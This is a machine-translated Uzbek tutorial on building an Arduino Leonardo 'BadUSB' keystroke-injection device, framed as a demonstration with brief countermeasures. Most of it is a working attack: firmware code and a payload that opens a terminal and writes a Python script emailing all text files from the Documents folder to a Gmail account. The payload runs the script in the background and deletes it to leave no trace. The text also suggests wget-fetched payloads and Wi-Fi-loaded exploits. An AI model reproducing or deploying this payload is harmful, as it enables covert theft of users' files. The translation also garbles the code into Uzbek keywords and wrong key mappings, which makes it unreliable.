Mundarija:

Arduino klaviaturasining ekspozitsiyasi (HID) va oldini olish: 4 qadam (rasmlar bilan)
Arduino klaviaturasining ekspozitsiyasi (HID) va oldini olish: 4 qadam (rasmlar bilan)

Video: Arduino klaviaturasining ekspozitsiyasi (HID) va oldini olish: 4 qadam (rasmlar bilan)

Video: Arduino klaviaturasining ekspozitsiyasi (HID) va oldini olish: 4 qadam (rasmlar bilan)
Video: СКУД на крупных промышленных объектах: новые вызовы и особенности применения 2024, Iyul
Anonim
Image
Image
Qurilmani qurish
Qurilmani qurish

Ushbu loyihada biz HID (humain interfeysi qurilmasi) yordamida USB hujumini simulyatsiya qilish uchun arduino leonardodan foydalanamiz.

Men bu qo'llanmani xakerlarga yordam berish uchun emas, balki sizga haqiqiy xavflarni ko'rsatish va o'zingizni bu xavflardan qanday himoya qilish uchun yaratdim. Bu qurilma xakerlar uchun har qanday platformada ishlatilishi mumkin bo'lgan qurilma emas, bu kontseptsiyaning batafsil tasdig'idir.

Biz quyidagilarni o'rganamiz:

- klaviaturani taqlid qilish uchun arduino leonardodan qanday foydalanish kerak

- SD -kartadagi ma'lumotlarni qanday o'qish kerak

- fayllarni skanerlaydigan va ularni elektron pochta orqali yuboradigan python skriptini qanday yaratish kerak

- USB xakerlik qurilmalaridan o'zingizni qanday himoya qilish kerak

1 -qadam: materiallar

Qismlar:

1. Arduino Leonardo

2. micro USB kartani o'quvchi

3. bir necha GB SD -karta

4. shunga o'xshash tugma (VCC, er va signal)

5. ayol-erkak va ayol-ayol o'tish kabeli

6. USB -dan USB -kabelgacha

2 -qadam: Qurilmani yaratish

Qurilmani qurish
Qurilmani qurish

Qurilish bo'yicha ko'rsatma berishdan oldin, biz ishlash tamoyilini ko'rib chiqamiz:

Arduino Leonardo o'zini inson interfeysi qurilmasi (HID) kabi tutishi mumkin, shuning uchun sichqoncha va klaviaturani taqlid qilishi mumkin. Biz bu imkoniyatdan terminalni (UBUNTU linuxda) ochish va foydalanuvchining uy papkasi ichidagi /Hujjatlar papkasiga.txt fayllarini ko'chirish va kimgadir yuborish uchun kichik skript yozish uchun foydalanamiz. Agar siz batafsil ma'lumotga ega bo'lishni istasangiz, keyingi bosqichga o'ting.

Chunki bu demo -qurilma juda oddiy, biz hech narsani lehimlamaymiz.

Qurilish bo'yicha ko'rsatmalar

Ishni boshlashdan oldin, biriktirilgan fayllarni tekshiring, men chizish sxemalarini va barcha kerakli fayllarni biriktirdim

1. Komponentlarni yig'ing:

* mikro USB kabelini arduino -ga ulang

* kalit tugmachasini arduino -ga ulang (er, vcc va chiqish moduli D8 ga)

* kartani o'quvchini arduino -ga ulang (ICSP sarlavhasi yordamida). Arduino Leonardoda ICSP sarlavhasi raqamli pinlarga ulanmagan, shuning uchun siz kartani o'quvchini ICSP sarlavhasiga ulashingiz kerak. ICSP-ning ba'zi rasmlarini bu erda topishingiz mumkin: https://learn.sparkfun.com/tutorials/installing-an…. SS pinini raqamli pin 10 ga ulang

2. arduino kodini oling, siz mening arduino omborimni github -da klonlashingiz mumkin: https://github.com/danionescu0/arduino va loyihalar/keyboard_exploit -ga o'ting yoki pastdan oling:

#"Keyboard.h" ni qo'shing

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Kutish::"; String commandStartingPoint = "Buyruq::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Karta ishlamay qoldi, yoki mavjud emas!"); qaytish; }} void loop () {int buttonState = digitalRead (buttonPin); agar ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Yuklandi!"); kechikish (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("Belgilangan fayl nomi SD -kartada yo'q, filenameOnCard -ni tekshiring!"); } Qator qatori; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (chiziq); sendToKeyboard (chiziq); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); qaytish; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Matn:"); Serial.println (chiziq); Keyboard.println (chiziq); EnterEnter () ni bosing; qaytish; } Serial.println ("Buyruq:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); String buyrug'i = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (buyruq! = "") {Serial.print ("Buyruq topildi:"); Serial.println (buyruq); Keyboard.press (getCommandCode (buyruq)); kechikish (delayBetweenCommands); }} Keyboard.releaseAll (); kechikish (delayBetweenCommands); } bekor qilishEnEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); kechikish (uyqu miqdori); } char getCommandCode (String text) {char textCharacters [2]; text.toCharArray (matnli belgilar, 2); char kodi = textCharacters [0]; kod = (matn == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kod; kod = (matn == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kod; kod = (matn == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kod; kod = (matn == "KEY_UP_ARROW")? KEY_UP_ARROW: kod; kod = (matn == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kod; kod = (matn == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kod; kod = (matn == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kod; kod = (matn == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kod; kod = (matn == "KEY_BACKSPACE")? KEY_BACKSPACE: kod; kod = (matn == "KEY_TAB")? KEY_TAB: kod; kod = (matn == "KEY_RETURN")? KEY_RETURN: kod; kod = (matn == "KEY_ESC")? KEY_ESC: kod; kod = (matn == "KEY_INSERT")? KEY_INSERT: kod; kod = (matn == "KEY_DELETE")? KEY_DELETE: kod; kod = (matn == "KEY_PAGE_UP")? KEY_PAGE_UP: kod; kod = (matn == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kod; kod = (matn == "KEY_HOME")? KEY_HOME: kod; kod = (matn == "KEY_END")? KEY_END: kod; kod = (matn == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kod; kod = (matn == "KEY_F1")? KEY_F1: kod; kod = (matn == "KEY_F2")? KEY_F2: kod; kod = (matn == "KEY_F3")? KEY_F3: kod; kod = (matn == "KEY_F4")? KEY_F4: kod; kod = (matn == "KEY_F5")? KEY_F5: kod; kod = (matn == "KEY_F6")? KEY_F6: kod; kod = (matn == "KEY_F7")? KEY_F7: kod; kod = (matn == "KEY_F8")? KEY_F8: kod; kod = (matn == "KEY_F9")? KEY_F9: kod; kod = (matn == "KEY_F10")? KEY_F10: kod; kod = (matn == "KEY_F11")? KEY_F1: kod; kod = (matn == "KEY_F12")? KEY_F2: kod;

qaytarish kodi;

}

3. Kodni arduino -ga yuklang, 9600 bod tezligi, ketma -ket port va arduino leonardoni tanlang

4. SD kartani FAT16 yoki FAT32 yordamida formatlang

5. Agar siz github repo -ni yuqoridan klonlagan bo'lsangiz, hack.txt faylini kartaga nusxa ko'chiring, aks holda fayl quyida keltirilgan:

Buyruq:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Buyruqlar:: KEY_INSERT smtplib import glob, os.path -dan elektron pochta orqali import qilish. MIMEText elektron pochtadan MIMEText -ni import qiladi. COMMASPACE -ni import qilish, elektron pochtani import kodlovchilaridan formatlash.

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'qabul qiluvchi_adress' scan_documents_location = 'Hujjatlar'

subject = body = 'Buzilgan kompyuterdan fayllar'

header = 'Kimga: {0} nKimdan: {1} nMavzu: {2} n'.format (manzilga, smtp_user, mavzu)

def sendMail (mavzu, matn, fayllar = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (matn)) fayllardagi fayllar uchun: part = MIMEBase ('application', "octet-stream") part.set_payload (open (file, "rb"). Read ()) Encoders.encode_base64 (qism) qismi. add_header ('Kontent-joylashuvi', 'biriktirma; fayl nomi = " % s"' % os.path.basename (fayl)) msg.attach (qism)

server = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([to_address], mavzu, tanasi, glob.glob ("{0}/{1}/*. txt". format (kengaytiruvchi ("~"), scan_documents_location)))

Kutish:: 50 buyrug'i:: KEY_ESC Kutish:: 100: x Uyqu:: 500 nohup python hack.py & Kutish:: 700 rm -rf hack.py Kutish:: 400 buyruq:: KEY_LEFT_ALT, KEY_F4

6. Quyidagi qatorlarni tahrir qiling:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'qabul qiluvchining manzili'

Va elektron pochta manzilingiz bilan almashtiring

7. Kartani chiqarib oling va uni arduino kartani o'quvchiga joylashtiring

3 -qadam: Tafsilotlar qanday ishlaydi

Hujum qanday ishlaydi:

1. Tugma bosilganda, Leonardo sd -kartani o'quvchi yordamida sd -kartani o'qiydi. Kartada kalitlar va tugmalar birikmasidan iborat maxsus fayl bo'ladi. Fayl nomi "hack.txt".

Fayl xom matnni o'z ichiga olishi mumkin va u xuddi klaviaturaga o'tadi.

Shuningdek, u "Sleep::" va "Command::" kabi maxsus buyruqlarni o'z ichiga olishi mumkin.

Quyidagi kabi chiziq:

Kutish:: 200 - 200 ms uyquni anglatadi

Quyidagi kabi chiziq:

Buyruq:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t chap ctrl bosilgan, chap pastki bosilgan, t bosilgan va hamma bo'shatilgan degan ma'noni anglatadi.

Siz bu erda barcha maxsus kalitlarni tekshirishingiz mumkin:

2. Leonardo satrma -qator o'qiydi, buyruqlarni sharhlaydi va klaviaturadagi tugmachalarga taqlid qiladi. "Hack.txt" faylida quyidagilar bajariladigan tugmalar birikmasi mavjud (UBUNTU linux uchun):

a. terminal ochiladi (CTRL + ALT + T)

b. vi yordamida yaratish uchun python faylini ochadi ("vi hack.py" deb yozadi)

v. Hujjatlar uy papkasidagi barcha matnli fayllarni to'playdigan va ularni belgilangan gmail manziliga yuboradigan python skriptini yozadi.

d. faylni fonda ishlaydi ("nohup python hack.py &")

e. faylni o'chiradi (rm -rf hack.py)

f. terminalni yopadi (ALT + F4)

Bularning barchasi bir necha soniya ichida o'tadi va iz qoldirmaydi.

Yaxshilanishlar va muammolarni bartaraf etish

* Siz terminalni ochganimdan keyin python faylini yozayotganimni payqadingiz. Buning eng yaxshi usuli - uni "wget some_url" buyrug'i yordamida bir joyga joylashtirish va keyin uni hack.py deb qayta nomlash.

* Shuningdek, biz maqsadli operatsion tizim uchun tayyor ekspluatatsiyani yuklab olishimiz yoki ishga tushirishimiz mumkin

* Wi -Fi modulga qo'shilishi mumkin va xakerlarni WIFI orqali yuklash mumkin

* siz arduino micro dan foydalanishingiz mumkin (bu kichikroq) va unga ekspluatatsiya kodini kiriting (uni kichikroq qilish uchun)

Cheklovlar

1. Simulyatsiya qilingan qurilmada (klaviatura va sichqoncha) hech qanday teskari aloqa yo'qligi sababli, biz buyruq bergandan keyin nima bo'lishini bilmaymiz. Masalan, men terminalni ochish buyrug'ini beryapman, lekin u qachon ochilishini bilmayman, shuning uchun yozilgan belgilar yo'qolmasligi uchun o'zboshimchalik bilan kechiktirishni ko'rsatish kerak.

2. USB portiga kira olmaslik yoki biror narsani o'rnatish uchun ruxsat kabi muammolarga duch kelishimiz mumkin

3. Yozish tezligi Leonardoda unchalik yaxshi emas

4. Faqat maqsadli operatsion tizimda ishlaydi (bizda UBUNTU linux)

Keyingi bosqichda kompyuterimizni buzib kirishini oldini olish uchun ushbu cheklovlardan foydalanish yo'llarini topishga harakat qilamiz

4 -qadam: qarshi choralar

1. USB portlarini o'chirib qo'yish

-Windows uchun siz ushbu qo'llanmani tekshirishingiz mumkin:

2. USB qurilmalarini oq ro'yxatga olish:

- derazalar uchun:

2. Uzoqda bo'lmaganingizda kompyuteringizni qulflang

3. Root sifatida kirmang (biror narsani o'rnatish uchun parollar kerak)

4. O'zingizni yangilab turing (avtomatik yangilanishlar)

Tavsiya: